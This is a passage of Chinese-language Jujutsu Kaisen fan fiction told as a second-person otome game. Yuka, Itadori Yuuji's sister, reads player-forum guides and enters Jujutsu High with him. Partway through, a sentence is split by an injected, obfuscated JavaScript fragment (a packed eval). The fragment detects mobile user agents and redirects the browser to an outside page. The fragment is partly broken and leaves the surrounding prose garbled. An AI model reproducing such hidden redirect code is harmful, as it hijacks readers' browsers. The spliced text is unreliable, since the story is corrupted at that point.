他脸上也破了块皮,眼眶有些轻肿,不过比起虎杖轻了很多,你打了个哈欠,对他说:“你走吧,记得关门。” 也没有再听他解释的意思。 虎杖捏了下你的手腕。 “伏黑是为了保护我。” 嗯,悠仁总是在保护你。然后有这么一天,一个男孩跳出来把他打成这副惨状,悠仁却说是为了保护他。 好恐怖的保护。 果然该带他去看心理医生了。 那晚过后你的哥哥出现了某种变化。 怎么说呢……他进化了……升级了…… 他好像变得和普通少年不同,虽然他的身体素质本来就远胜同龄人,堪比国家队的成年人,可现在的他超脱凡人,隐隐和使用咒具的你有一拼。 某一天的饭桌上,悠仁坐在你对面。 “幽花。” 你抬起头。 “我可能要转校去东京。” 你说:“我知道。” 他愣了下:“你什么时候知道的?” “你桌子上有一份招生简章,地址是京都,”你喝了口汤,没有看哥哥,接着说,“我也报名了东京的高中,一起去吧。” “但是我们不在一个学校。”他说。 “嗯,那就租一间公寓吧。” “我会住校。”他说。 你这才抬起头,因为他一直在看着你,目光避无可避的撞到一处,你想了下,又问他:“你要扔下我了?” 糟糕,她的顶级魔王护要没了。 “不是这个意思。”悠仁舔了下唇,这是他紧张时下意识的举动,“那个老师要求我必须住校,实际上我根本不想去那人烟稀少的鬼地方当什么高专生……可又不能留在你身边,因为……”他苦涩一笑,“我好像变成了最大的危险。” 客厅安静下来。 有些问题不得不面对了。 比如悠仁房间半夜传出陌生男人的声音。 不是你哥在看什么限制级片。 比如莫名其妙不回家,还弄得浑身是伤。 你第一次觉得,哥哥好像不是普通npc。 “为什么会变得危险?”你问。 他没有立刻回答,而是反问你:“还记得上次送哥哥回家的男孩吗?” 哦,高高瘦瘦的,模样挺俊秀的黑发男孩,眼睫毛特别长。 “记得。” “他就是高专的学生,他们能教会我怎么控制自己,让我看清自己的身体里到底住了个多么可怕的怪物,还有——”他忽然笑了下,“他们说,幽花的体质是能改变的。” 看来是他解锁新地图了。 你点头:“那你去吧。” 悠仁愣住了。 “你去那个学校吧,我会照顾好自己,发烧了吃药,出门要锁门,迷路了打电话,哥哥忙的话我可以问西宫,她总是很空闲,除了一些特定日子不会回我消息。”一次性说太多话让你有点口干舌燥,你喝了口汤接着说,“我已经学会了很多事情,你不在了我也能照顾好自己,安心吧。” 悠仁看着你,嘴唇动了一下,想说什么,似乎想做出微笑的表情,可任凭怎么努力脸色都很僵硬,最后他放弃了,执起勺子往嘴里塞食物。 【15岁】 你的哥哥很想你,他不想分离。 他对你说:“幽花,我们逃跑吧。” 2. 第 2 章 你揉了下他的脑袋,说好。 悠仁鼻腔酸楚,眼眶忽然变红,喉结上下滚动了一下,可能是在哽咽。 【他得到了你的肯定,从中汲取了无比强大的力量,他觉得自己能战胜世间的一切,可现实是他无法控制体内的诅咒之王,鬼神奸猾狡诈,他只是个心智尚不成熟的初中生】 夜晚,他背着塞得鼓鼓囊囊的书包,里面塞满了你的日常用品,惯常穿的连体兜帽卫衣,头发凌乱,眼睛下面一圈青黑,可情绪却很激动。 “幽花,我们走吧。” 他的声音夹杂难以压抑的兴奋。 你点点头,换上皮鞋跟他离开。 他没有说要去哪里,你也没有问。 走到街道的时候,夜风吹过你的脖颈,冷的直打哆嗦,虎杖的手裹着你的手,塞进衣兜里,贴着少年暖烘烘的体温倒也不冷。 你们并肩走在空荡荡的街道上。 “车站在那边。”他说。 你嗯了声,可这个点根本没有电车。 走了几步后,他意识到这点:“我们换个方向走吧。” 你又点头。 “幽花,你还记得四岁的事情吗,你发烧啦,整个人像虾子一样蜷缩在我怀里,爷爷都没能分开我们……” 你忘了这段剧情,听他讲也没多少感想。 “幼稚园的花子老师让小朋友们画出最喜欢的东西,有的人画的是玩具超人,有的人画了妈妈,我画了一个幽花的脑袋。” “为什么是脑袋。”你语气很平静。 “因为身体不好画。” 你沉默了两秒。 他又小声说:“幽花。” 好轻的声音,像夏夜的虫鸣。 “我们是彼此的依靠,从妈妈的肚子里出生,从睁眼的那一天,我们从来没有分开过。” “你永远是我的妹妹,我们不分离。” 【虎杖悠仁的情绪直线跌落】 “知道了。”你说。 你的视线下垂,注意到悠仁散开的鞋带,他松开你的手蹲下身去系,正欲起身时却忽然被你压住了脑袋,你整个人往他背上趴过去,下巴抵在他肩窝里。 “干嘛。”他的声音闷闷的,被你压着透不过气。 “好吧。” 你的声音懒洋洋地,像在随口说什么不值一提的小事:“你赢了,悠仁。” 你又露出那个笑容,只不过悠仁看不见。 “我们待会见,哥哥。” 你关闭游戏。 说到底这种单机游戏研发初衷就是供玩家消磨时间,每天重复枯燥的日常积攒各种数值,你习惯一键跳过各种事件,导致遗漏掉许多关键剧情点。 现在,你不打算当一条随波逐流的咸鱼了。 你在煤炉上买了个游戏修改器,打开论坛寻找关键剧情点。 1,主线推荐:玩家背景推荐禅院家,一可以近水楼台刷高天与暴君的好感方便攻略,二有概率刷出[天与咒缚]体质,背景不同主线攻略也不同啦,玩家们能根据各自需要取用吧! upupupo-1五条家攻略[包含关键NPC好感度刷高方法,稀有道具索取方式,7种结局+隐藏结局一览...] upupupo-2禅院家攻略[如上,包含两条拓展线和禅院家主线玩法] upupupo-3加茂家[难度较高,新手玩家不推荐此家族作为主线,有概率被脑花夺舍,不过楼主后期会更新捉脑花攻略] 你看的眼花缭乱,点进五条家攻略线中阅览起来。 1,必修:厨艺(满级10点)建议玩家点满,不用担心食材掉率,解锁咒力后刷低等级小怪会自动掉落各种材料,也可以用日币购买,作为前期刷npc的手段来说,厨艺简直是万能金手指!哪怕是低等级阶段也有概率刷出高级美食! 2,政略:达到10点解锁家主线,成为家主后自动掌握该家族的所有财富和资源人脉,而且还能快速获得人望高的npc的好感,开局最高可以点到5,建议玩家点满。 你盯着屏幕上密密麻麻的攻略,大脑逐渐宕机,回想起捏造游戏角色时,你将点数全部分配到魅力的操作...其他数值更是惨不忍睹,活脱脱一个除了脸啥也不会的花瓶。 论坛里还在滚动刷新着气泡: 【谁说魅力没用?二周目靠魅力刷满悟的好感,直接跳过厨艺任务拿到了限定咒具好吧】 【但后期家主线必须政略 10 点啊!魅力党哭了!】 【楼上 + 1,我现在卡在说服长老任务,魅力再高也打不过政略压制,反被骂智商贫瘠呜呜呜】 【魅力党落泪!昨天想给小悟送便当,结果把厨房炸了,好感度瞬间掉了5点!】 【但是魅力点高真的很爽啊!上次被诅咒师围追堵截的时候,甚尔居然说“这么可爱的脸被划到就不值钱了”,直接替我解决了所有麻烦!】 【楼上+1,抓脑花的时候也很好用,一群好感值较高中偏中庸的npc可以独立筛选,交互几次就能抓出来!】 【颜值即是正义啊!】 3医术:大家不要着急哈,天赋点千万不要点在这里浪费掉啦!和五条悟好感刷到[60偏爱]后会开启高专线,进入高专找到[家入硝子]刷到[50亲近]可以每天找她进修一次医术,大概一周目就能刷满医术了,毕竟这个天赋刷高比较困难,不过有免费的老师可以女票-咳咳咳...教学 【上次和硝子姐姐进修,她居然一边教我一边吐槽:悟那家伙介绍来的人,怎么都笨手笨脚的...结果好感度居然涨了3点诶!难道姐姐是口是心非那款??好香好香啊】 【宝子们亲测教学时送礼物刷好感度更快噢!而且还会解锁彩蛋情节!】 你摸着下巴琢磨,果然这小破游刷个好感度也处处都透着人情世故的捷径啊。 4,道德:高道德用来刷一些正向npc好感还是比较好用的,加成也不错,比如娜娜米和小灰原,还有教主大人,不过低道德似乎会解锁npc一些有趣的对话,楼主收集完毕后会逐个公布。 5,智力:骗点数的。 6,体力:上限10点,除了每日休息会自动复满,和羁绊对象[贴贴]也会恢复部分生命值,具体恢复情况视好感度决定。 7,存档点:这点比较关键,因为是恋爱游戏啦,内容涉及的乙女暧昧情节也比较多,开局时游戏会引导玩家选择一个羁绊对象,也就是唤醒你的主要NPC!存档的时候需要找到npc重复一下咳咳咳...贴一下就行。 8,特质:划重点,非常重要!!任何旮旯噶木里的主控特质都有着能决定游戏走向的倾向,建议玩家多去看看这个攻略——UpUpUpo—168主控特质刷新攻略,不好的词条直接融掉!】 正对着攻略发愁,屏幕突然弹出一条新气泡: 【冷线推荐:虎杖家开局,一可刷新宿傩线的好感,二有概率觉醒稀有术式-我身奉给,根据诸多玩家测试,此术式仅虎杖家开局可觉醒,此背景下主控疑似羂索不完美产物。 主线流程:10岁触发水库事件觉醒咒术,15岁夜逃途中前往爷爷墓地时偶遇五条悟,触发收徒事件,即可顺利进入高专篇。】 【实测术式超强……以身体转换咒具什么的,玩着很爽,但代价也很虐,只能说悠仁的亲情线后劲太大,建议备好纸巾】 【楼上别说了,我二周目走的虎杖家,到现在听到“我们一起逃吧”这句话还会鼻子酸】 【但是真的好香啊!!!那种“全世界只有我不会背叛你”的宿命感,是其他线给不了的美味】 【而且虎杖线最虐的是什么你们知道吗?虎子的好感度是开局就满的,MAX!!一天都没掉过!但正因为满的,你根本不知道他到底是“哥哥对妹妹”那种满好感,还是“那种”满好感……谁懂啊这种折磨!!想刷暧昧剧情结果被系统拉红线,我真的是……(捂住胸口)】 【楼上我懂你!其他线起码有个进度条,虎子线连进度条都没有!!你永远猜不透他说的那些话到底是习惯还是心动!虎压抑犯了!】 【此楼人均虎压抑+1】 【流泪了,他愿意跟你走,哪怕剧情后期全世界都在疯狂殴打劳资,他都坚定 i do!】 【不过虎杖线接触不到太多资源,人物属性词条开启也慢,毕竟十岁之前就是普通初中生的日常剧情嘛,有点苦恼,我刷了三周目才知道水库事件需要把其他npc好感度降到最低才能触发,政略也得触碰到总监会才有所察觉,论坛里的攻略写得太散了,有没有人整理过虎杖线的前期加点顺序啊?】 【楼上,我整理了!发你私信了。顺便说一句,前期千万别点魅力,这条线魅力几乎没用,因为主写傩的攻略剧情虎子纯属挂件,而傩他根本不吃这套(泪)多刷咒力体力和厨艺吧,后期配合“我身奉给”非常好用,强制傩不成问题!】 【一周目不了解这个,糊里糊涂进入高专,调戏傩后被打成一坨,无语了,要不是有虎子魔王护早就原地螺旋升天开二周目去】 【对了,我试过不触发墓园收徒的剧情,夜逃会循环三次,而且每次对话都不一样。第三次的时候悠仁会说:“你是不是在等什么?”】 【然后呢???】 【然后就没有然后了,因为不触发收徒事件的话主线推不下去,系统会一直卡在那儿,悠仁会一直站在车站那等你。】 【有点悚然,疑似你虎哥透过第四面墙与你灵魂对话】 【详细说不上来……就是三周目的时候,我卡在水库事件前疯狂刷体力,因为体力不够虎子也不来救,就会被诅咒拖下水淹死嘛,结果悠仁突然说了一句:“你好像一直在看什么地方。”不是系统字幕,是语音……而且这游戏支持PC端和全息互通,我之前没触发过这段,平时懒得登全息就挂移动端后台刷数值,结果他说话的时候没有看主控,他看着镜头,仿佛我在屏幕外跟他对了视线】 【??????】 【我也遇到过!!!!当时以为是彩蛋!!!他说“你今天有点不一样,是没睡好吗”,但那个语气……怎么说,不是对主控说的,是对“我”说的,你们能明白吗!!!吓的我当场退模拟器了!】 【不是,等等等等,这不是恐怖游戏吧?】 【别讲了姐们我真的会害怕】 【但是好香啊……“你永远是我的妹妹”这句话现在听起来像双关(捂脸)是对主控说的,也是对屏幕外的我们说的……】 【冷静一下,冷静一下,可能只是制作组埋的彩蛋,类似npc会记录玩家的操作频率啥的。“你好像一直在看什么地方”,如果玩家挂机太久就会触发这句台词,技术很早就突破了,二游遍地是玩破四墙的对话梗增加游戏乐趣。】 【……】 【我宣布这个帖子的走向已经完全脱离恋爱攻略范畴!】 【但是大家还是不会删游戏的,对吧。】 【……对。】 【对。】 【等等,你们没发现一个问题吗?如果虎子真的能看见我们,那他会不会也能看见这个帖子?】 【……】 【……】 【所以说,制作组你们是魔鬼吧。】 你划到存档点那条,突然想起自己好像从来没有存档过,不会丢掉存档吧?你赶忙切回游戏查看,画面仍然停在夜逃的剧情中。 悠仁一脸破碎样的注视着你。 噢,好可怜啊,粉毛小狗,你简直心都要碎了。 不过对照下剧情发展,你只需稍稍调整事件走向就行了。 转眼间,你看着头顶【疑似咒术师】的男人,在爷爷的墓园附近晃悠时,系统叮的一声响起。 【15岁】 你的天赋在墓园被五条悟察觉,在那之后你跟随哥哥悠仁的脚步,一同进入东京都立咒术高等专门学校。 【新地域已解锁】 【欢迎来到东京都立咒术高等学校】 【入学第一天】 你关掉提示框,画面忽然明亮起来。 高专的宿舍是传统日式建筑风格,内部却很现代化,空调冰箱地暖,独立卫浴和小阳台一应俱全,学校实行单人单间,按照年级分层,所以你可以和悠仁住在同一层。 一楼是公共大厅,有一台陈旧的自动贩卖机和几把服务过不知多少届学生的旧沙发。二楼是一年级寝室,三楼住着二年级的学长,据说出任务中,一直没见着人。四楼暂且空置。 你合理怀疑根本没有三年级生。 这可怕的毕业率,据说和死亡率挂钩。 …… 你没有深想,游戏设定而已啦。 校舍比你想的要大,墙壁上还保留着老建筑的纹路,地板却很新,旧实木地板和新地板颜色不同,古怪地拼接着。你忽然想起一楼大厅有一处椭圆形的坑,像是被什么东西暴力砸过后打的补丁。 你的寝室是楼梯拐角第一间,搬运东西很方便,悠仁走在你前面半步,他走的很慢也习惯配合你的脚步。 小时候爷爷说过:“悠仁是哥哥,走路要走在妹妹前面,这样遇事的时候她第一个看到的是你,就不害怕了。”这句话悠仁记了快十年,他始终是这么干的。 作为哥哥而言,他尽职尽责。 你转弯的时候肩膀差点撞到一个人,黑色的头发,绀色校服,领口高耸,手里拿着一块脏兮兮的抹布,眼睫长长低垂着,看到你的瞬间眼瞳微怔,目光从悠仁身上扫到你身上,又从你身上扫回悠仁身上。 是伏黑惠。 这个人应该很自律,且注重细节,不过不太和人亲近,对你们也没有敌意。 这是你第二次见到他,大致扫了眼就分析出这男孩的特性。 所以啊,模拟器这点就很细节,服设的小巧思也很符合角色npc私下里的个性,就像活生生的人一样,沉浸体验拉满。 “你妹妹也能入学高专?” 悠仁点头。 伏黑惠也没多问:“办公室往那边走,五条老师在等你们。” 他说完就走了。 “先上楼吧,哥哥帮你收拾寝室。” 【悠仁的行李重量检测中……】 【超重】 【他不会让你拿的,别问了】 舒服,有哥哥就是好。 - 两个小时后,教室内。 伏黑惠心情复杂地看着你的背影。 虎杖的妹妹,和虎杖有着相同的发色,但很瘦小,从走进教室的那一刻起,她就没怎么说话,和一旁歪着身子趴在桌子上冲他挤眉弄眼的虎杖形成强烈的对照。 五条老师站在讲台边,背靠着授课桌,用那种永远处在状况外的语气介绍道:“这位是我们班的新同学,虎杖悠仁,和他的妹妹虎杖幽花,希望大家好好相处喔。” 尽管在虎杖兄妹加入前,一年级只有伏黑惠一人,该走的流程还是要走,五条悟漫不经心地讲着。 “你妹妹真的是咒术师吗?”伏黑惠忍不住问。 “嗯。”虎杖收敛笑容,“幽花她能看到咒灵哦。” 看见诅咒和祓除诅咒是两个概念,如果连自保的能力都没有,倒不如看不见来的安全——伏黑惠收回视线。 他回想起一小时前被五条老师突然召走打扫卫生时,五条悟随口的那句:“幽花那孩子,有点麻烦。” 他还以为是性格的问题,现在想想应该指的是实力。 【伏黑惠对你进行评估】 【伏黑惠对你的能力产生怀疑】 【伏黑惠正在忧虑咒高的未来】 你不禁侧头瞥了眼这黑发男孩。 少年,你心理活动太丰富啦! 【15岁,入学第三天】 钉崎野蔷薇报道。 野蔷薇站在讲台边做自我介绍,她的头发略短一点,皮肤是太阳晒过的健康颜色,眼睛在教室里扫了一圈,最后落在你和悠仁身上。 也许是因为高专这一届只有两个女孩子,野蔷薇天然亲近你。 自我介绍结束后,她没有回座位,直接走到你们桌前,她把悠仁的胳膊往旁边推了推,然后在你旁边坐下来,脸凑得很近。 “你们就是虎杖兄妹啊?”她的语气像在动物园看到了什么珍惜保护动物,“发色一模一样诶,好漂亮,我能摸摸吗?” 你点了下头。 “发丝好细软哦,平时是怎么保养的?有用什么牌子的发膜呢?嗯嗯嗯,快推荐给我吧!” 她忽然握住你的手,掌心有嫩茧,手背还有一道淡淡的疤,不仔细看察觉不到。 “幽花,你可以这么叫我。” 野蔷薇愣了一下,然后笑了。 那个笑容很大,露出整排牙齿,阳光又灿烂,带着女孩特有的魅力。 “那你就叫我野蔷薇吧!钉崎太生分了,我允许了!” 【体力+1】 和野蔷薇进行互动后,你发现她的特性是增加体力,这样你就不必局限于每日只能探索三个地点了!耶! - 你从没认真测过体能。 以前在仙台的体育课跑个几百米就结束了,因此你不知道自己的极限在哪。 不过现在你知道了。 操场上,五条悟捏着秒表站在跑道边上,嘴里叼着棒棒糖,看起来像在晒太阳不是在上课。 他怎么那么会奖励自己!你也想吃棒棒糖! “今天先跑个二十圈热热身,不记时哦,跑完就行。”说完随手指了下你的位置,“幽花……,量力而行吧,跟不上就慢点跑。” 他似乎对你没抱什么期望。 钉崎,哥哥,伏黑惠的耐力都很强,你跟着他们奔跑,先是肩并肩,渐渐动作慢了下来,你以为是自己身体哪里出现故障,怎么会跟不上他们的步子?不行,你才不要输!你调动四肢可以加速。 风从耳边灌进来,发出嗡嗡的噪音,你的口腔开始发苦,还有一股说不清道不明的腥味在蔓延。你心跳加速,呼吸急促,肌肉也在发酸,耳边不断响起体力下降的声音,可是悠仁的脚步始终稳健,他的呼吸都没有乱,另一边是伏黑惠和落后几步的钉崎,跑到最后已经没有队形了,都在暗暗较劲。 视野的边缘有什么东西在晃,太阳从云边降下。 悠仁不知何时已经跑到你身边。 “怎么了,幽花,是不是哪里不舒服?”他的手背贴了下你滚烫的面颊,你的脑子反应很慢。 你摇头,你的体力太差了,如果不使用咒具,就连追赶野蔷薇的脚步都很困难。 野蔷薇也跑了过来,弯着腰喘气,脸上全是汗水:“你们兄妹到底是什么情况,一个两个跑这么久都不带累的?” “不过幽花也挺厉害的,跑了这么多圈都没喊累,我还以为——” 她本意想夸夸你,可下一秒你像一台断电的机器,晕了。 【玩家体力过低,触发负面状态!】 【建议休息,或者与羁绊对象贴贴?】 【检测到玩家年龄不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550842|204332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足18岁……暂不允许建立羁绊对象】 你闭了一下眼睛。 睁开的时候弹窗还在,系统那个几个字下面的光标还在闪。那么问题来了,到底要怎么建立羁绊对象? 不能选择哥哥吗,魔王护超好用哦。 ……二周目再说吧。 你的视线又偏了一下,校医务室的窗外站着野蔷薇和伏黑惠。野蔷薇在跟校医说什么,伏黑惠的距离太远了看不清表情。 说到底……羁绊对象给的加成应该不错吧。 校医务室的门关着。 野蔷薇先开了口:“她从小就这样吗?” “不清楚,”伏黑惠声音不大,“你得问悠仁。” 这是一个很巧妙的回答,伏黑用了一点点引导技巧,只要不出岔子,再过一会儿钉崎自然而然就会帮他从悠仁口中问出想要的答案。 伏黑惠看过你的新生档案,大概知道点你的基本情况,不过真实生活里的你到底是什么模样啊?他有点好奇。 大抵是人心都有窥探欲,总会对旁人的隐秘心事生出莫名的在意。 他就是很想了解你的那些过往,可虎杖总是……守口如瓶。 虎杖从门里出来,野蔷薇立马走过去:“幽花怎么样了啊!” “运动过量脱水,没什么大碍就是得休息休息。”悠仁说。 “她从小就这样吗?” 不出伏黑惠所料,她果然耐不住性子问了。 “嗯,爷爷说过她的身体很脆弱,各方面都得注意下,她不能受伤。”悠仁含糊其辞,他并不想让同窗清楚太多你的身体状况。 野蔷薇盯着他看了几秒,眉头紧蹙:“这样的孩子也能成为咒术师吗?怎么可能啊。” 走廊安静了片刻。 野蔷薇全然没有察觉到,自己随口说出的话有多冒昧,少女就事论事罢了,况且你的体质确实很【孱弱】! “幽花不是来当咒术师的。” “是不想和我分开。” “幽花做自己就好了。” 自我洗脑般,悠仁说完又点了点头:“别对她要求太高。” “你们俩明明是兄妹,但——”野蔷薇的话停了下来,像找不到合适的词。 她皱眉,嘴巴张了一下又闭上,最后自暴自弃的说了一句:“麻烦死了,我去看看幽花。” 野蔷薇觉得你们的关系太亲近了,丧失某种界限,难道这就是城里兄妹相处的方式?完全不能理解,不过野蔷薇的接受能力很强。 【野蔷薇阅历+1】 诶诶诶……什么? - 进入高专后,悠仁一直对你说:幽花只要混日子就好了。 他没指望你成长的多厉害。 作为仙台“西中之虎”同龄人里打遍天下无敌手,打架这种事对他来说是本能。这些东西他也不需要刻意学,就像你怪物般的超强记忆那样,看一眼就会了。 但也有些不同。 爷爷说过很多次:“别当着幽花的面打架,她学习能力很强,好奇心也强,会不自觉模仿复刻。” “但幽花不是打架那块料,她的身体不会预警疼痛,把自己弄到骨折了还不知道。” “你得看着她,悠仁。” 所以悠仁一直看着你,从很小的时候就开始看,看到现在,看到他已经分不清这是哥哥的责任还是别的什么。 他看着你如何把自己弄伤,不是故意的,因为你总是掌握不好界限,摔倒了再爬起来,胳膊蹭掉一层皮也没反应,你只是看一眼就走了,指甲劈断时,你像掰掉饼干那样掰掉断掉的那截,眉头一直皱着,因为碍事。 明明同样是人类,你稍微活动一下体温就会飙升,常年处于低热的边缘,不会喊热,也不哭闹,只是不停地对悠仁说:“哥哥,我好烦。”“身体不对劲,我好累。” 然后悠仁就得猜,你是不是又把自己弄伤了,伤在不明显的部位导致他没快点发现,你从来不拒绝他的触碰,他也会害怕再伤到你。 最后,悠仁得出的结论很简单:幽花做自己就好了。 用你那颗聪明的大脑,在安全的地方做你喜欢的事。 他以为这就足够了。 生活上,你习惯了依靠哥哥,可悠仁很清楚,你的世界任何人都可以走进来,任何人也可以走出去,你不在意这些。 你哭了他来哄,你饿了他就弄饭,你病了也是他守在医院,这些事情悠仁做了十多年,你想要什么他都会答应,因为他是哥哥。悠仁有时候觉得自己是一台运行良好的保姆机器,从有记忆起机器就运作了,只是这台机器妹妹使用是不用付钱的。 如果出现故障,妹妹也可以随意更换下一台,全凭她心意,幽花那颗强大的心脏从不会为谁停留。 悠仁有时候会想,如果有一天你不再需要他了,他该怎么办?他已经分不清到底是谁更依赖谁。他这么想着,又觉得自己很可悲,因为他的全部价值,好像都系在你身上。 可更可悲的是你像被蚕丝包裹的蝴蝶,只需要一点点外力刺激就能破茧,展开翅膀飞起来,飞向辽阔的天空。 然后幽花就会发现,仙台好小哦,其实哥哥也没那么重要,照顾你这件事任何人都能做到,谁都可以。 考试那种东西如同呼吸般自然,你花了一个晚上的时间读完了咒高一年级的教材,上课时无所事事的看着窗外的斑鸠,不过五条老师对幽花也没什么要求,信奉寓教于乐的理念,野蔷薇不知道敬佩还是崩溃,她有时候念咒术发展史的人名都会念错,太拗口了。 所有人都知道,幽花其实很聪明,比任何人都聪明,幽花所展露的天赋完全能挡住那点瑕疵,只是太懒了,对什么都提不起劲。 你的术式潜力巨大,但你从不主动训练——这点也是五条老师透露的。 “幽花有自己的理解。” “别局限她的潜力,在她确定想要成为什么样的人之前不要干预。” “说不定悠仁以后还需要妹妹来保护呢。” 别说这种玩笑话,拜托了,一点都不好笑,悠仁在心底呐喊。 不要和你位置颠倒,不要变成被换掉的机器。 他想掩藏你的光。 【特质:有偿的温情生效中 】 系统弹窗在视野边缘闪了一下,然后消失,你眨了眨眼,没搞明白发生了什么。 爷爷已经去天堂了,唯一的亲人就是悠仁。 能触发这个特质的只有他吧,还是说只要心底认同为亲人关系,没有血缘也能触发这个特质?触发后的效果又是什么?系统都没有解释。 这游戏自由度真高,你再次感慨! - 午饭食堂里,你盛了不少喜欢的菜肴,食堂饭菜味道先不论种类蛮多的,你每样都想试一下。 野蔷薇坐在对面,她的盘子里是定食,但饭量却是你的一半,她盯着你的碗看了一眼,又忍不住咂舌。 “你吃那么少,盛那么多干嘛?” 你低头看了看自己的碗,看起来确实不少,最上面的炸鸡块摇摇欲坠,因为是刚出锅的还冒着油花。 “都想吃。”你说。 野蔷薇皱了皱眉,筷子在她手里转了一圈:“我跟你说啊,我是乡下长大的孩子。我们村子里每户人家门口都有稻田,我从小就被教育,不准浪费一粒米。” 她又看了一眼你的碗,目光复杂。 “你要是不吃完,我看着难受。” 野蔷薇嘴角往下撇了一点,像有人在她的眼皮底下做了一件违背她世界观的事情。 你沉默了一秒,然后把碗往前推了推。 “悠仁会吃完。” 你旁边的悠仁正把一块姜汁烧肉塞进嘴里,腮帮子鼓囊囊的,听见你的话很自然地伸手把你的碗端过来,拨了一半到自己的碗里。 “她是这样的,喜欢的食物都要尝尝,但吃不了多少东西,也没什么不好……”他嘴里还嚼着东西,声音含混,“我会全部吃掉。” “你们兄妹……从小就这样?” “嗯。”悠仁低头扒饭,“习惯了。” 他看着你的碗空了,然后把剩下那半块肉夹回你盘子里。 “幽花,这块必须自己吃完。” 你最近肉食摄入太少,加上大量运动消耗肯定多,你的哥哥为此担忧。 “哦。” 野蔷薇看了会悠仁,又侧头看你,表情有些怪异,她们村子里也有兄妹,但这个年纪的互相嫌弃还来不及,很少像你们这样连吃的都会共享。 你的表情很平静,夹起那半块肉慢慢嚼,你不喜欢这个口感,厨子手艺太差,还没有爷爷做饭好吃。 伏黑惠坐在野蔷薇旁边,一直没有说话。他在吃荞麦面,因为面食要单独用碗盛,你没尝到那个,便一直盯着,冷荞麦和酸甜的汤水味道似乎很好。 伏黑惠的余光捕捉到了,他的目光先落在你耳后那道疤上,停了几秒后再移到你的侧脸。他在看你,也在猜测你的想法。 幽花是个很贪心的女孩,可能虎杖悠仁从未发觉。 她对喜欢的东西占有欲很强,什么都想得到手,从食欲上就能窥见一斑,尽管她的胃口只有那么一点点,但因为悠仁的纵容,从没有人觉得不对劲。 伏黑惠的性格特质,决定了他会下意识从你的行为入手分析你这个人。 而此刻,你只是直勾勾地盯着那碗面。 你比他想象中还要大胆,不过他没有觉得被冒犯。 【系统提示:伏黑惠对你产生了兴趣】 3. 第 3 章 【15岁】 没什么不同,也没有发生特别的事情。 西宫偶尔的少女心事会令你烦恼,因为你对这方面没有经验。 日子平稳的度过。 你和同窗迅速熟络,感情稳步增长中。 钉崎野蔷薇会在午休时拉着你看美妆博主的教程,西宫桃送的化妆品终于有了用武之地。 伏黑惠会在体能训练时站在你附近,不远不近的跟着,不过哥哥会很快吸引走他的注意力。 一切都按部就班地推进,你的各项数值缓慢增长中。 夜里,大家聚在伏黑惠的宿舍中吃夜宵时,你第一次见到寄宿于哥哥体内的怪物,一个不该出现在人类手臂上的嘴低语着让人毛骨悚然,脊背发凉的话。 “你们这群小鬼,日子倒是过得挺热闹。” “让我吃掉你妹妹如何,不知道现在的女人尝起来肉质如何呢。” …… 他自称“宿傩”,说的净是些该被打码的妄语,你忽然明白哥哥为什么固执地不让宿傩在日常中显现,太破坏气氛了。 你的手指伸过去触碰那张嘴的边缘,它咬住了你,可你感受不到疼痛,血很快顺着断裂甲缝流淌,弄脏了哥哥的衣服。 “你妹妹胆子很大呢,虎杖悠仁。” 哥哥的脸色瞬间变了,警告他别乱来。 那个东西松开了嘴,你的手指还在流血,能看到几个深深浅浅的压印,类似鲨鱼牙的痕迹。 哥哥生气了。 你冷静地抽出几张纸擦干血渍,在伏黑惠取来医用急救箱前,熟练剥掉黏连甲床的碎甲,指甲盖的边缘已经被咬得翘起来,像千禧年的流行的彩色翻盖手机,野蔷薇看着你用纸巾按在伤口上,啧了声,不忍地拧过头去。 那一瞬间她似乎与你开启痛感共享,她的食指紧跟着抽痛,忍不住攥紧手掌摩挲几下,可你居然没什么反应,钉崎联想起你往日种种异于常人的举动,心中愈发不对,突然,她福临心至: “幽花,你感觉不到疼对吗?” 钉崎说完那些话,你下意识看向哥哥。 你以为同窗们清楚,毕竟他们平日里那么照顾你。 虎杖悠仁身形微僵,随后解释:“幽花天生感觉不到疼痛,也不能自我调节体温……是先天无痛无汗症,差不多就这样……” 这也解释了为什么虎杖兄妹之间的感情羁绊如此深厚,身为兄长的他会紧密关注妹妹的一举一动。 先天无痛症听起来很酷,可在生活中很可怕的。 你不清楚什么时候受了伤,等反应过来的时候只感觉伤口痒痒的,已经恶劣到化脓,或者等流血时才能察觉不对,随时都有可能要了你的命。你不清楚身体的极限,时而无意识伤害自己,常年处于低热的边缘,气温稍微浮动就可能刺激到你,虎杖就这样战战兢兢地守着你长大。 也就在今晚,同窗们终于理解虎杖提及你时神经质的紧张态度。 野蔷薇沉重的吐出一口气:“能活到这么大真是不容易啊,不管是你还是悠仁——”太难了,简直就是个玻璃娃娃。 “怪不得你们的感情那么好呢,这下都能说通了。”她抿嘴笑,边帮你处理伤口边打趣道,“我们幽花只是有点特别而已,和其他女孩没有什么不一样。” “我们幽花又漂亮又聪明,超厉害的。” “当然,我是天才。”你坐的笔直,不被不吭。 野蔷薇噎住了,一腔柔情化为泡影。 “……死丫头,就不该同情你。” 【第二周】 在五条老师的带领下,你们开始接触低级任务刷经验。 他用棒棒糖指了指身后的旧厂房:“低级咒灵的能力不强,正好给你们练手。” “诶?这么简单吗……感觉有诈啊老师,不会是藏了什么考验环节吧,像上次那个队友还是人质二选一的人性考验——”钉崎拉长尾音。 五条悟的目光在你身上停了一下,补了句:“幽花照旧,自由活动就行。” 钉崎瞬间炸毛,拔高声音愤愤嚷嚷:“别忽略我啊!!五条老师!!” “我觉得没问题。”伏黑惠平静道,“那种考验我不在怕的,更何况答案显然意见。” 钉崎没好气地斜睨他:“你明明选择的是人质啊,混蛋。” 伏黑惠笃定地说:“我不觉得你们会死在那只咒灵手上。” 钉崎怼了下悠仁的肩膀,催促他:“受害者倒是发表下意见啊。” 悠仁的目光下意识掠过你的侧脸,又飞快收回:“我也觉得没问题。” “既然大家都没意见,那就开始任务!可别像无头苍蝇似得乱逛哦,注意沟通和善用战术~” 